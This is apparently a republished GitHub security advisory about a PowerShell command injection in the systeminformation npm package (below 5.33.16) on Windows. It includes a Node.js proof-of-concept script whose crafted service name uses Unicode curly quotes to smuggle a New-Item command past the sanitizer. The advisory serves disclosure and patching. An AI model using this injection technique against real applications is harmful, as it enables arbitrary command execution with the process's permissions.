
Loading

Loading
We use strictly necessary cookies to run this site, and analytics cookies to understand how it's used. See our Privacy Policy for details.
A GitHub-reviewed security advisory, not necessarily under active exploitation the way our CISA KEV advisories are, but a real, disclosed vulnerability in an open-source dependency.
Affected packages
Vulnerable: < 5.33.16
Patched in 5.33.16
Details
On Windows, [email protected] builds a PowerShell command using the value passed to services(). The default sanitizer removes ASCII quotes but keeps Unicode curly quotes, spaces, and parentheses. A crafted service name can use those characters to break out of the generated filter string and run a PowerShell expression. The expression runs with the permissions of the Node.js process.
This report confirms version 5.33.15. Other package versions have not been checked.
In lib/processes.js, services() sanitizes the caller's string with sanitizeShellString() and later inserts each resulting name into a Get-CimInstance Win32_Service -Filter command. The Windows branch passes that command to util.powerShell().
The sanitizer in lib/util.js removes the ASCII double quote, but it does not remove U+201C or U+201D, the left and right curly double quotation marks. It also permits spaces and parentheses when called in its default, non-strict mode. PowerShell accepts the curly marks as string delimiters, so an input can end the filter string and place a command expression in the generated command.
For example, the input below uses curly quotation marks to end the generated filter string and execute New-Item. I reproduced this call on Windows against the checked-out [email protected] source; it created a marker file with the Node.js process account.
Run this on Windows in a disposable directory with Node.js and PowerShell available:
mkdir si-command-injection-repro
cd si-command-injection-repro
npm init -y
npm install [email protected]
Save the following as poc.cjs, then run node poc.cjs:
'use strict';
const fs = require('node:fs');
const path = require('node:path');
const si = require('systeminformation');
(async () => {
const markerName = `si-injection-${process.pid}.txt`;
const markerPath = path.join(process.cwd(), markerName);
fs.rmSync(markerPath, { force: true });
try {
await si.services(`not-a-service” (New-Item -Name ${markerName} -ItemType File -Force) “`);
console.log(`markerCreated=${fs.existsSync(markerPath)}`);
} finally {
fs.rmSync(markerPath, { force: true });
}
})().catch((error) => {
console.error(error);
process.exitCode = 1;
});
Expected output:
markerCreated=true
The Windows run returned an array and created the marker (markerCreated: true). A benign input left the marker absent. The script removes the marker afterward. I did not identify an application network route that forwards remote input to services(), so remote exploitability depends on the consuming application.
An application that passes attacker-controlled input to services() on Windows can execute PowerShell commands with the Node.js process account's permissions. Depending on that account, commands may read or change accessible files, alter application data, or disrupt the service. I searched this repository for HTTP servers, route handlers, and listener calls and found none. services() is exposed through the package API and getDynamicData(), so a consuming application could make the input network-reachable if it forwards request data. A separate loopback HTTP harness did trigger the command through a query parameter, but that server was test code and is not part of this repository. The project's docs/security.html already warns that arbitrary untrusted input to services() needs caution because package sanitization does not cover every case.
EPSS, exploit probability
Low0.14%
estimated chance of real-world exploitation in the next 30 days, higher than 3.8% of every CVE FIRST.org scores
Refreshed 10/28/2026, via FIRST.org's EPSS model, not CVSS, this measures likelihood of exploitation, not how severe it would be.
Talk to us about this
Find out whether this dependency (or others like it) is actually reachable in your codebase.
Get help patching, or building dependency-scanning into your pipeline going forward.
A secure code review or supply chain review finds this before an advisory does.